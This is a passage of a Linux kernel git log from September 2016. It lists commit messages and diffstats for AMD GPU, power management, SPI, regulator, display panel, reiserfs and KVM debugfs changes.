95e588a01424cb4d6f38bc02f84c8dfe05e0e55f Author: Alex Deucher Date: Thu Sep 15 15:42:09 2016 -0400 drm/amdgpu/gfx6: drop gds_switch callback GDS works differently on GFX6, plus the callback was empty. Reviewed-by: Edward O'Callaghan Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 10 ---------- 1 file changed, 10 deletions(-) commit 0f444c24dd00ba562483d5825f9757e0f933d813 Author: Alex Deucher Date: Thu Sep 15 15:40:06 2016 -0400 drm/amdgpu/gfx6: add ring_emit_cntxcntl Missing for gfx6. Reviewed-by: Edward O'Callaghan Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 668f52c3039049cd293851599581c5eca745ec4e Author: Alex Deucher Date: Thu Sep 15 15:28:46 2016 -0400 drm/amdgpu/gfx6: drop duplicate code The compute functions just called the gfx functions, drop the wrapper. Reviewed-by: Edward O'Callaghan Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 33 +++++++++------------------------ 1 file changed, 9 insertions(+), 24 deletions(-) commit 2255e8c1092fedbd3db9940e37ef44524f86a3d9 Author: Alex Deucher Date: Thu Sep 15 12:04:45 2016 -0400 drm/amdgpu/si: fix ring size for compute We switched the other asics, but missed this. Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 72f417a2e0b1bdb0e2accc36fd4d3b64769dce0f Author: Rex Zhu Date: Wed Sep 14 16:28:01 2016 +0800 drm/amd/powerplay: Partially revert change initialize platform caps partially revert commit I36f3c9e3a28cbf290652edfb6e19109da660c4f1 this will lead APU can't work. Signed-off-by: Rex Zhu Reviewed-by: Huang Rui Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 6 ------ 1 file changed, 6 deletions(-) commit d932f37c4aa8b380f8ed529d1472a2ff49b95727 Author: Rex Zhu Date: Tue Sep 13 19:38:38 2016 +0800 drm/amdgpu: not set cg for vce/uvd in late init. no need to set cg for uvd/vce in late init. As when ring test, uvd/vce's dpm will be enabled/disabled. the cg will be set. fix issue suspend when play video or encode, then resume back, the clock will be bypassed on Polaris/Fiji. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 3 +++ 1 file changed, 3 insertions(+) commit aa0ef3ccd6410c14d3de586bd83ce532cad2e67e Author: Rex Zhu Date: Thu Aug 25 20:00:28 2016 +0800 drm/amd/powerplay: add pptable point check before use it Signed-off-by: Rex Zhu Acked-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b1c8e1e21f421653971c18fdafa22f2553899ca9 Author: Rex Zhu Date: Wed Aug 24 11:28:41 2016 +0800 drm/amd/powerplay: add pp_table_version in hwmgr. Signed-off-by: Rex Zhu Acked-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 1 + drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 8 ++++++++ 2 files changed, 9 insertions(+) commit e1aa5715f6683d486f2e14255f6e42cf0a66c4e8 Author: Rex Zhu Date: Fri Aug 19 20:52:09 2016 +0800 drm/amd/powerplay: rename tonga_processpptable* to processpptable_v1_0*. Signed-off-by: Rex Zhu Acked-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/Makefile | 2 +- drivers/gpu/drm/amd/powerplay/hwmgr/fiji_hwmgr.c | 10 +- .../gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 10 +- drivers/gpu/drm/amd/powerplay/hwmgr/pptable_v1_0.h | 436 +++++++ .../amd/powerplay/hwmgr/process_pptables_v1_0.c | 1326 ++++++++++++++++++++ .../amd/powerplay/hwmgr/process_pptables_v1_0.h | 35 + drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.c | 10 +- .../gpu/drm/amd/powerplay/hwmgr/tonga_pptable.h | 436 ------- .../amd/powerplay/hwmgr/tonga_processpptables.c | 1326 -------------------- .../amd/powerplay/hwmgr/tonga_processpptables.h | 35 - 10 files changed, 1813 insertions(+), 1813 deletions(-) commit a47c78d9646f3d2543b5b3c2e15ec6d9ee46a303 Author: Jordan Lazare Date: Thu Sep 1 13:49:33 2016 -0400 drm/amdgpu/vi: Use correct external_rev_id for stoney Reviewed-by: Alex Deucher Signed-off-by: Jordan Lazare Cc: stable@vger.kernel.org Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4d6f85c3fa55e00ebde75a74b070f2ed4b93e869 Author: Mike Marciniszyn Date: Tue Sep 6 04:34:35 2016 -0700 IB/rdmavt, IB/qib, IB/hfi1: Use new QP put get routines This improves readability and hides the reference count mechanism from the client drivers. Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/qp.c | 11 ++++------- drivers/infiniband/hw/hfi1/rc.c | 9 ++++----- drivers/infiniband/hw/hfi1/verbs.c | 4 ++-- drivers/infiniband/hw/hfi1/verbs_txreq.c | 2 +- drivers/infiniband/hw/qib/qib_driver.c | 3 +-- drivers/infiniband/hw/qib/qib_rc.c | 12 ++++++------ drivers/infiniband/sw/rdmavt/qp.c | 5 ++--- 7 files changed, 20 insertions(+), 26 deletions(-) commit 4107b8a029995e4a2c928b395a12ebc67d8e3689 Author: Mike Marciniszyn Date: Tue Sep 6 04:34:21 2016 -0700 IB/rdmavt: Add functions to get and release QP references This centralizes the function and improves code readability. Reviewed-by: Dennis Dalessandro Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford include/rdma/rdmavt_qp.h | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit c13f743aee4a84a380a8cc0745d20e832bab8ed2 Author: Ulrich Hecht Date: Wed Sep 14 18:46:06 2016 +0200 i2c: rcar: add support for r8a7796 (R-Car M3-W) Same as r8a7795. Signed-off-by: Ulrich Hecht Signed-off-by: Wolfram Sang Documentation/devicetree/bindings/i2c/i2c-rcar.txt | 1 + drivers/i2c/busses/i2c-rcar.c | 1 + 2 files changed, 2 insertions(+) commit 73e705bf81ceb84b39ef9cf6ffb8d12ca0c58a23 Author: Matthias Kaehlcke Date: Wed Sep 14 09:52:08 2016 -0700 regulator: core: Add set_voltage_time op The new op is analogous to set_voltage_time_sel. It can be used by regulators which don't have a table of discrete voltages. The function returns the time for the regulator output voltage to stabilize after being set to a new value, in microseconds. If the op is not set a default implementation is used to calculate the delay. This change also removes the ramp_delay calculation in the PWM regulator, since the driver now uses the core code for the calculation of the delay. Signed-off-by: Matthias Kaehlcke Signed-off-by: Mark Brown drivers/regulator/core.c | 86 +++++++++++++++++++++++++++------------ drivers/regulator/pwm-regulator.c | 10 ----- include/linux/regulator/driver.h | 10 ++++- 3 files changed, 67 insertions(+), 39 deletions(-) commit c5a905d3122a501c014b1ba679d3a6d21f2b5c7b Author: Colin Ian King Date: Fri Sep 16 17:46:41 2016 +0100 ALSA: compress: fix some missing and misplaced \n in messages Fix a missing \n in a pr_debug message and move the \n to the end of a pr_err message. Signed-off-by: Colin Ian King Signed-off-by: Takashi Iwai sound/core/compress_offload.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 361763127f8734b460e2452cf882272c93c26c56 Author: Colin Ian King Date: Fri Sep 16 17:36:05 2016 +0100 ALSA: hdac: add missing \n to end of dev_err messages Trival fix, some dev_err messages are missing a \n, so add it. Signed-off-by: Colin Ian King Signed-off-by: Takashi Iwai sound/hda/ext/hdac_ext_stream.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit d89564efe79419a093e966a959bf5ba2c94e693f Author: Matthias Kaehlcke Date: Wed Sep 14 09:52:07 2016 -0700 regulator: core: Don't skip set_voltage_time when ramp delay disabled The current code assumes that only the ramp_delay is used to determine the time needed for the voltage to stabilize. This may be true for the calculation done by regulator_set_voltage_time_sel(), however regulators can implement their own set_voltage_time_sel() op which would be skipped if no ramp delay is specified. Remove the check in _regulator_do_set_voltage(), the functions calculating the ramp delay return 0 anyway when the ramp delay is not configured. Signed-off-by: Matthias Kaehlcke Signed-off-by: Mark Brown drivers/regulator/core.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 31dfe686ed0ba5a796bcfc5a6745e77ddb5daa4e Author: Matthias Kaehlcke Date: Wed Sep 14 09:52:06 2016 -0700 regulator: core: Simplify error flow in _regulator_do_set_voltage() If the voltage can not be set jump to the end of the function. This avoids having to check for an error multiple times and eliminates one level of nesting in a follow-up change. Signed-off-by: Matthias Kaehlcke Signed-off-by: Mark Brown drivers/regulator/core.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 71b8f350a4f03730f3024bfa7dc2414904a21bcb Author: Wei Yongjun Date: Fri Sep 16 14:00:19 2016 +0000 spi: bcm-qspi: Fix error return code in bcm_qspi_probe() Fix to return a negative error code from the error handling case instead of 0, as done elsewhere in this function. Fixes: fa236a7ef240 ("spi: bcm-qspi: Add Broadcom MSPI driver") Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown drivers/spi/spi-bcm-qspi.c | 2 ++ 1 file changed, 2 insertions(+) commit 3bf3eb2b95aaf18eff3080444b24673cda8ff9a2 Author: Wei Yongjun Date: Fri Sep 16 13:45:17 2016 +0000 spi: bcm-qspi: Fix return value check in bcm_qspi_probe() In case of error, the function kcalloc() returns NULL pointer not ERR_PTR(). The IS_ERR() test in the return value check should be replaced with NULL test. Fixes: fa236a7ef240 ("spi: bcm-qspi: Add Broadcom MSPI driver") Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown drivers/spi/spi-bcm-qspi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 85023b2e1325826edf5d226a9cb4d809ed1e2024 Author: Jeremy Linton Date: Wed Sep 14 17:32:31 2016 -0500 arm64: pmu: Hoist pmu platform device name Move the PMU name into a common header file so it may be referenced by other users. Signed-off-by: Jeremy Linton Signed-off-by: Will Deacon arch/arm64/kernel/perf_event.c | 2 +- include/linux/perf/arm_pmu.h | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) commit 236b9b91cd1255a9cae9d7ef6b755efe37013c1f Author: Jeremy Linton Date: Wed Sep 14 17:32:30 2016 -0500 arm64: pmu: Probe default hw/cache counters ARMv8 machines can identify the micro/arch defined counters that are available on a machine. Add all these counters to the default armv8 perf map. At run-time disable the counters which are not available on the given PMU. Signed-off-by: Jeremy Linton Acked-by: Will Deacon Signed-off-by: Will Deacon arch/arm64/kernel/perf_event.c | 45 ++++++++++++++++++++++++++++++++++++++---- 1 file changed, 41 insertions(+), 4 deletions(-) commit dbee3a74ef2c73acc4eb31cee7a60d5e46767a41 Author: Mark Salter Date: Wed Sep 14 17:32:29 2016 -0500 arm64: pmu: add fallback probe table In preparation for ACPI support, add a pmu_probe_info table to the arm_pmu_device_probe() call. This table gets used when probing in the absence of a devicetree node for PMU. Signed-off-by: Mark Salter Signed-off-by: Jeremy Linton Signed-off-by: Will Deacon arch/arm64/kernel/perf_event.c | 13 ++++++++++++- drivers/perf/arm_pmu.c | 2 +- 2 files changed, 13 insertions(+), 2 deletions(-) commit 55d5c4ab06e0c984aa38eae391f654f59b7d24db Author: Will Deacon Date: Thu Sep 15 10:14:41 2016 +0100 MAINTAINERS: Update ARM PMU PROFILING AND DEBUGGING entry There are an increasing number of ARM SoC PMU drivers appearing for things like interconnects, memory controllers and cache controllers. Rather than have these handled on an ad-hoc basis, where SoC maintainers each send their PMU drivers directly to arm-soc, let's take these into drivers/perf/ and send a single pull request to arm-soc instead, much like other subsystems. This patch amends the ARM PMU MAINTAINERS entry to include all of drivers/perf/ (currently just the ARM CPU PMU), changes Mark Rutland from Reviewer to Maintainer, so that he can help with the new tree and adds the device-tree binding to the list of maintained files. Acked-by: Mark Rutland Acked-by: Arnd Bergmann Signed-off-by: Will Deacon MAINTAINERS | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 2cfd100bf2f7d979c0ecaf0298f3de2f03ac9d5d Merge: eb69548 fd5d2b8 Author: Jonathan Corbet Date: Fri Sep 16 10:09:43 2016 -0600 Merge branch 'doc/4.9' into docs-next commit fd5d2b832d62fdee50db3756e40ecb3afa1ff956 Merge: 829f4c3 d36bbab Author: Jonathan Corbet Date: Fri Sep 16 10:04:25 2016 -0600 Merge branch 'driver-api' into doc/4.9 This short series convers device-drivers.tmpl into the RST format, splits it up, and sets up the result under Documentation/driver-api/. For added fun, I've taken one top-level file (hsi.txt) and folded it into the document as a way of showing the direction I'm thinking I would like things to go. There is plenty more of this sort of work that could be done, to say the least - this is just a beginning! The formatted results can be seen at: http://static.lwn.net/kerneldoc/driver-api/index.html As part of the long-term task to turn Documentation/ into less of a horror movie, I'd like to collect documentation of the driver-specific API here. Arguably gpu/ and the media API stuff should eventually move here, though we can discuss the color of that particular shed some other day. Meanwhile, I'd appreciate comments on the general idea. commit 829f4c362fc988381870b82cd7405f76fc077855 Author: Laurent Navet Date: Thu Sep 15 22:49:53 2016 +0200 docs/driver-model: fix typo No need to be be, just be should be sufficient. Signed-off-by: Laurent Navet Signed-off-by: Jonathan Corbet Documentation/driver-model/device.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e92ae527e7ba59f9175221a4f5422fb5eaec3dc4 Author: Christoph Hellwig Date: Sun Sep 11 15:58:53 2016 +0200 DMA-API-HOWTO: is no more So don't mention it. Signed-off-by: Christoph Hellwig Signed-off-by: Jonathan Corbet Documentation/DMA-API-HOWTO.txt | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 56cd869288f06cb59b81d3f75568e0d7dc89091f Author: Markus Heiser Date: Wed Sep 7 09:12:57 2016 +0200 doc-rst:c-domain: function-like macros arguments Handle signatures of function-like macros well. Don't try to deduce arguments types of function-like macros. Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/sphinx/cdomain.py | 55 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 54 insertions(+), 1 deletion(-) commit b495360e30621e22f7a69a239de0d68bc4e383dd Author: Markus Heiser Date: Wed Sep 7 09:12:56 2016 +0200 doc-rst:c-domain: fix sphinx version incompatibility The self.indexnode's tuple has changed in sphinx version 1.4, from a former 4 element tuple to a 5 element tuple. https://github.com/sphinx-doc/sphinx/commit/e6a5a3a92e938fcd75866b4227db9e0524d58f7c Signed-off-by: Markus Heiser Signed-off-by: Jonathan Corbet Documentation/sphinx/cdomain.py | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 3d8819b761e5bfb25a83b9c843694c19d0a82c94 Author: Robert Foss Date: Thu Sep 8 18:44:23 2016 -0400 Documentation/filesystems: Fixed typo Fixed a -> an typo. Signed-off-by: Robert Foss Acked-by: Kees Cook Signed-off-by: Jonathan Corbet Documentation/filesystems/proc.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 56efaed524dc2c3571f66d296cb1efbd59cb2996 Author: Arnd Bergmann Date: Thu Sep 15 17:42:21 2016 +0200 ASoC: rt5663: refine error handling The newly added rt5663 codec driver introduces a couple of warnings when built with -Wmaybe-uninitialized: codecs/rt5663.c: In function 'rt5663_set_tdm_slot': codecs/rt5663.c:2680:2: error: 'reg' may be used uninitialized in this function [-Werror=maybe-uninitialized] codecs/rt5663.c: In function 'rt5663_set_dai_pll': codecs/rt5663.c:2556:12: error: 'shift' may be used uninitialized in this function [-Werror=maybe-uninitialized] codecs/rt5663.c:2596:2: error: 'mask' may be used uninitialized in this function [-Werror=maybe-uninitialized] We can avoid those warnings by always returning an error from the switch() statements instead of falling through with an uninitialized variable when we hit an unexpected case. Signed-off-by: Arnd Bergmann Fixes: df7c52168ee1 ("ASoC: add rt5663 codec driver") Signed-off-by: Mark Brown sound/soc/codecs/rt5663.c | 3 +++ 1 file changed, 3 insertions(+) commit a0319f8b12c0fb9800da61f4cba9bd6fd80e37a4 Author: Arnd Bergmann Date: Thu Sep 15 17:46:53 2016 +0200 spi: bcm-qspi: fix suspend/resume #ifdef The two power management functions are define inside of an #ifdef but referenced unconditionally, which is obviously broken when CONFIG_PM_SLEEP is not set: drivers/spi/spi-bcm-qspi.c:1300:13: error: 'bcm_qspi_suspend' undeclared here (not in a function) drivers/spi/spi-bcm-qspi.c:1301:13: error: 'bcm_qspi_resume' undeclared here (not in a function) This replaces the #ifdef with a __maybe_unused annotation that lets the compiler figure out whether to drop the functions itself, and uses SIMPLE_DEV_PM_OPS() to refer to the functions. This will also fill the freeze/thaw/poweroff/restore callback pointers in addition to suspend/resume, but as far as I can tell, this is what we want. Signed-off-by: Arnd Bergmann Fixes: fa236a7ef240 ("spi: bcm-qspi: Add Broadcom MSPI driver") Signed-off-by: Mark Brown drivers/spi/spi-bcm-qspi.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit eddde288957957d45c42fcf51af9a059de7e0887 Merge: eeb7df2 61fc513 Author: Greg Kroah-Hartman Date: Fri Sep 16 17:42:59 2016 +0200 Merge tag 'usb-serial-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/johan/usb-serial into usb-next Johan writes: USB-serial updates for v4.9-rc1 More clean ups, including a second set of changes from Mathieu as part of a major overhaul of the ti_usb_3410_5052 driver. Signed-off-by: Johan Hovold commit c96f566273bf086fe18a294ac37edf2d451ff024 Author: Vinay Simha BN Date: Fri Aug 26 08:07:07 2016 +0530 drm/panel: Add JDI LT070ME05000 WUXGA DSI Panel Add support for the JDI LT070ME05000 WUXGA DSI panel used in Nexus 7 2013 devices. Programming sequence for the panel is was originally found in the android-msm-flo-3.4-lollipop-release branch from: https://android.googlesource.com/kernel/msm.git And video mode setting is from dsi-panel-jdi-dualmipi1-video.dtsi file in: git://codeaurora.org/kernel/msm-3.10.git LNX.LA.3.6_rb1.27 Cc: Archit Taneja Cc: Rob Clark Cc: Sumit Semwal Cc: John Stultz Cc: Emil Velikov Cc: Thierry Reding Cc: David Airlie Signed-off-by: Sumit Semwal Signed-off-by: John Stultz Signed-off-by: Vinay Simha BN Tested-by: John Stultz Reviewed-by: Emil Velikov Signed-off-by: Thierry Reding drivers/gpu/drm/panel/Kconfig | 11 + drivers/gpu/drm/panel/Makefile | 1 + drivers/gpu/drm/panel/panel-jdi-lt070me05000.c | 532 +++++++++++++++++++++++++ 3 files changed, 544 insertions(+) commit cc4b13dd6df1cd80c4c8cddc4908532893a26af5 Author: Vinay Simha BN Date: Thu Sep 8 10:44:22 2016 +0530 dt-bindings: Add JDI LT070ME05000 panel bindings The JDI LT070ME05000 is a 7" panel with a 1200x1920 (WUXGA) resolution and connected to DSI using four lanes. Cc: Archit Taneja Cc: John Stultz Cc: Thierry Reding Cc: Sumit Semwal Signed-off-by: Vinay Simha BN Acked-by: Rob Herring Signed-off-by: Thierry Reding .../bindings/display/panel/jdi,lt070me05000.txt | 31 ++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit c0a75d072a501effd66d3392ada8d3f4283b87ef Author: Arnd Bergmann Date: Thu Sep 15 17:40:15 2016 +0200 spi: bcm-qspi: don't include linux/mtd/cfi.h The header isn't actually needed here, but including it leads to a build warning when CONFIG_MTD is disabled: include/linux/mtd/cfi.h:76:2: #warning No CONFIG_MTD_CFI_Ix selected. No NOR chip support can work. [-Werror=cpp] Fixes: fa236a7ef240 (spi: bcm-qspi: Add Broadcom MSPI driver) Signed-off-by: Arnd Bergmann Signed-off-by: Mark Brown drivers/spi/spi-bcm-qspi.c | 1 - 1 file changed, 1 deletion(-) commit 2be8cb295eb44c73c7c110082a6b60ef7b4e4042 Author: Randy Li Date: Thu Sep 8 05:58:55 2016 +0800 devicetree: bindings: Add vendor prefix for Topeet. Add TOPEET, a ARM devlopment board vendor in China mainland. Signed-off-by: Randy Li Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 420902c9d086848a7548c83e0a49021514bd71b7 Author: Mike Galbraith Date: Mon Aug 13 15:21:23 2012 +0200 reiserfs: Unlock superblock before calling reiserfs_quota_on_mount() If we hold the superblock lock while calling reiserfs_quota_on_mount(), we can deadlock our own worker - mount blocks kworker/3:2, sleeps forever more. crash> ps|grep UN 715 2 3 ffff880220734d30 UN 0.0 0 0 [kworker/3:2] 9369 9341 2 ffff88021ffb7560 UN 1.3 493404 123184 Xorg 9665 9664 3 ffff880225b92ab0 UN 0.0 47368 812 udisks-daemon 10635 10403 3 ffff880222f22c70 UN 0.0 14904 936 mount crash> bt ffff880220734d30 PID: 715 TASK: ffff880220734d30 CPU: 3 COMMAND: "kworker/3:2" #0 [ffff8802244c3c20] schedule at ffffffff8144584b #1 [ffff8802244c3cc8] __rt_mutex_slowlock at ffffffff814472b3 #2 [ffff8802244c3d28] rt_mutex_slowlock at ffffffff814473f5 #3 [ffff8802244c3dc8] reiserfs_write_lock at ffffffffa05f28fd [reiserfs] #4 [ffff8802244c3de8] flush_async_commits at ffffffffa05ec91d [reiserfs] #5 [ffff8802244c3e08] process_one_work at ffffffff81073726 #6 [ffff8802244c3e68] worker_thread at ffffffff81073eba #7 [ffff8802244c3ec8] kthread at ffffffff810782e0 #8 [ffff8802244c3f48] kernel_thread_helper at ffffffff81450064 crash> rd ffff8802244c3cc8 10 ffff8802244c3cc8: ffffffff814472b3 ffff880222f23250 .rD.....P2.".... ffff8802244c3cd8: 0000000000000000 0000000000000286 ................ ffff8802244c3ce8: ffff8802244c3d30 ffff880220734d80 0=L$.....Ms .... ffff8802244c3cf8: ffff880222e8f628 0000000000000000 (.."............ ffff8802244c3d08: 0000000000000000 0000000000000002 ................ crash> struct rt_mutex ffff880222e8f628 struct rt_mutex { wait_lock = { raw_lock = { slock = 65537 } }, wait_list = { node_list = { next = 0xffff8802244c3d48, prev = 0xffff8802244c3d48 } }, owner = 0xffff880222f22c71, save_state = 0 } crash> bt 0xffff880222f22c70 PID: 10635 TASK: ffff880222f22c70 CPU: 3 COMMAND: "mount" #0 [ffff8802216a9868] schedule at ffffffff8144584b #1 [ffff8802216a9910] schedule_timeout at ffffffff81446865 #2 [ffff8802216a99a0] wait_for_common at ffffffff81445f74 #3 [ffff8802216a9a30] flush_work at ffffffff810712d3 #4 [ffff8802216a9ab0] schedule_on_each_cpu at ffffffff81074463 #5 [ffff8802216a9ae0] invalidate_bdev at ffffffff81178aba #6 [ffff8802216a9af0] vfs_load_quota_inode at ffffffff811a3632 #7 [ffff8802216a9b50] dquot_quota_on_mount at ffffffff811a375c #8 [ffff8802216a9b80] finish_unfinished at ffffffffa05dd8b0 [reiserfs] #9 [ffff8802216a9cc0] reiserfs_fill_super at ffffffffa05de825 [reiserfs] RIP: 00007f7b9303997a RSP: 00007ffff443c7a8 RFLAGS: 00010202 RAX: 00000000000000a5 RBX: ffffffff8144ef12 RCX: 00007f7b932e9ee0 RDX: 00007f7b93d9a400 RSI: 00007f7b93d9a3e0 RDI: 00007f7b93d9a3c0 RBP: 00007f7b93d9a2c0 R8: 00007f7b93d9a550 R9: 0000000000000001 R10: ffffffffc0ed040e R11: 0000000000000202 R12: 000000000000040e R13: 0000000000000000 R14: 00000000c0ed040e R15: 00007ffff443ca20 ORIG_RAX: 00000000000000a5 CS: 0033 SS: 002b Signed-off-by: Mike Galbraith Acked-by: Frederic Weisbecker Acked-by: Mike Galbraith Cc: Signed-off-by: Jan Kara fs/reiserfs/super.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 5c2a7c6be18c48e95ba49cbb102bb7f93cdc8c17 Author: Jonathan Liu Date: Sun Sep 11 20:46:55 2016 +1000 drm/panel: simple: Fix bus_format for the Olimex LCD-OLinuXino-4.3TS The format is RGB888 not RGB666. Signed-off-by: Jonathan Liu Acked-by: Maxime Ripard Signed-off-by: Thierry Reding drivers/gpu/drm/panel/panel-simple.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c46b924bb2c316486a46ba3cfc0c8d28ce79cbd7 Author: Brian Norris Date: Fri Aug 26 14:32:14 2016 -0700 drm/panel: simple-panel: Add delay timings for Starry KR122EA0SRA Taking our cue from commit a42f6e3f8f03 ("drm/panel: simple: Add delay timing for Sharp LQ123P1JX31"), let's add timings: .prepare = t1 + t3 .enable = t7 .unprepare = t11 + 12 Without this, the panel may not be given enough time to come up. Signed-off-by: Brian Norris Signed-off-by: Thierry Reding drivers/gpu/drm/panel/panel-simple.c | 5 +++++ 1 file changed, 5 insertions(+) commit e0932f9d7ba9a16f99a84943b720f109de8e3e06 Author: Marek Vasut Date: Fri Aug 26 18:26:00 2016 +0200 drm/panel: simple: Fix bus flags for Ortustech com43h4m85ulc This display expects DE pin and data lines to be active high, add the necessary flags. Signed-off-by: Marek Vasut Cc: Philipp Zabel Cc: Thierry Reding Reviewed-by: Philipp Zabel Signed-off-by: Thierry Reding drivers/gpu/drm/panel/panel-simple.c | 1 + 1 file changed, 1 insertion(+) commit 1e29b840af9f280915cb4aae5ada6a8666292c38 Author: Michael Olbrich Date: Mon Aug 15 14:32:02 2016 +0200 drm/panel: simple: Add Innolux G101ICE-L01 panel This patch adds support for Innolux Corporation 10.1" G101ICE-L01 WXGA (1280x800) LVDS panel to the simple-panel driver. Signed-off-by: Michael Olbrich Signed-off-by: Lucas Stach Signed-off-by: Thierry Reding .../bindings/display/panel/innolux,g101ice-l01.txt | 7 +++++ drivers/gpu/drm/panel/panel-simple.c | 31 ++++++++++++++++++++++ 2 files changed, 38 insertions(+) commit 4f5758fc67607b915c7513baf0438a35a5fc457c Author: Luiz Capitulino Date: Fri Sep 16 10:27:36 2016 -0400 kvm: x86: export TSC information to user-space This commit exports the following information to user-space via the newly created per-vcpu debugfs directory: - TSC offset (as a signed number) - TSC scaling ratio - TSC scaling ratio fractinal bits The original intention of this commit was to export only the TSC offset, but the TSC scaling information is exported for completeness. We need to retrieve the TSC offset from user-space in order to support the merging of host and guest traces in trace-cmd. Today, we use the kvm_write_tsc_offset tracepoint, but it has a number of problems (mainly, it requires a running VM to be rebooted, ftrace setup, and also tracepoints are not supposed to be ABIs). The merging of host and guest traces is explained in more detail in this thread: [Qemu-devel] [RFC] host and guest kernel trace merging https://lists.nongnu.org/archive/html/qemu-devel/2016-03/msg00887.html This commit creates the following files in debugfs: /sys/kernel/debug/kvm/66828-10/vcpu0/tsc-offset /sys/kernel/debug/kvm/66828-10/vcpu0/tsc-scaling-ratio /sys/kernel/debug/kvm/66828-10/vcpu0/tsc-scaling-ratio-frac-bits The last two are only created if TSC scaling is supported. Signed-off-by: Luiz Capitulino Signed-off-by: Paolo Bonzini arch/x86/kvm/debugfs.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 50 insertions(+), 1 deletion(-) commit 45b5939e50746b92fd4cb47c02524f79ba8fabe6 Author: Luiz Capitulino Date: Fri Sep 16 10:27:35 2016 -0400 kvm: create per-vcpu dirs in debugfs This commit adds the ability for archs to export per-vcpu information via a new per-vcpu dir in the VM's debugfs directory. If kvm_arch_has_vcpu_debugfs() returns true, then KVM will create a vcpu dir for each vCPU in the VM's debugfs directory. Then kvm_arch_create_vcpu_debugfs() is responsible for populating each vcpu directory with arch specific entries. The per-vcpu path in debugfs will look like: /sys/kernel/debug/kvm/29162-10/vcpu0 /sys/kernel/debug/kvm/29162-10/vcpu1 This is all arch specific for now because the only user of this interface (x86) wants to export x86-specific per-vcpu information to user-space. Signed-off-by: Luiz Capitulino Signed-off-by: Paolo Bonzini include/linux/kvm_host.h | 1 + virt/kvm/kvm_main.c | 32 ++++++++++++++++++++++++++++++++ 2 files changed, 33 insertions(+) commit 235539b48a2357da28f52d66d04bec04f3dcb9dd Author: Luiz Capitulino Date: Wed Sep 7 14:47:23 2016 -0400 kvm: add stubs for arch specific debugfs support Two stubs are added: o kvm_arch_has_vcpu_debugfs(): must return true if the arch supports creating debugfs entries in the vcpu debugfs dir (which will be implemented by the next commit) o kvm_arch_create_vcpu_debugfs(): code that creates debugfs entries in the vcpu debugfs dir For x86, this commit introduces a new file to avoid growing arch/x86/kvm/x86.c even more. Signed-off-by: Luiz Capitulino Signed-off-by: Paolo Bonzini arch/arm/kvm/arm.c | 10 ++++++++++ arch/mips/kvm/mips.c | 10 ++++++++++ arch/powerpc/kvm/powerpc.c | 10 ++++++++++ arch/s390/kvm/kvm-s390.c | 10 ++++++++++ arch/x86/kvm/Makefile | 2 +- arch/x86/kvm/debugfs.c | 20 ++++++++++++++++++++ include/linux/kvm_host.h | 3 +++ 7 files changed, 64 insertions(+), 1 deletion(-) commit 9d5a1dcebfbe0e421412fcf5ab86d30e2e65bab4 Author: Luiz Capitulino Date: Wed Sep 7 14:47:21 2016 -0400 kvm: kvm_destroy_vm_debugfs(): check debugfs_stat_data pointer This make it possible to call kvm_destroy_vm_debugfs() from kvm_create_vm_debugfs() in error conditions. Reviewed-by: Paolo Bonzini Signed-off-by: Luiz Capitulino Signed-off-by: Paolo Bonzini virt/kvm/kvm_main.c | 8 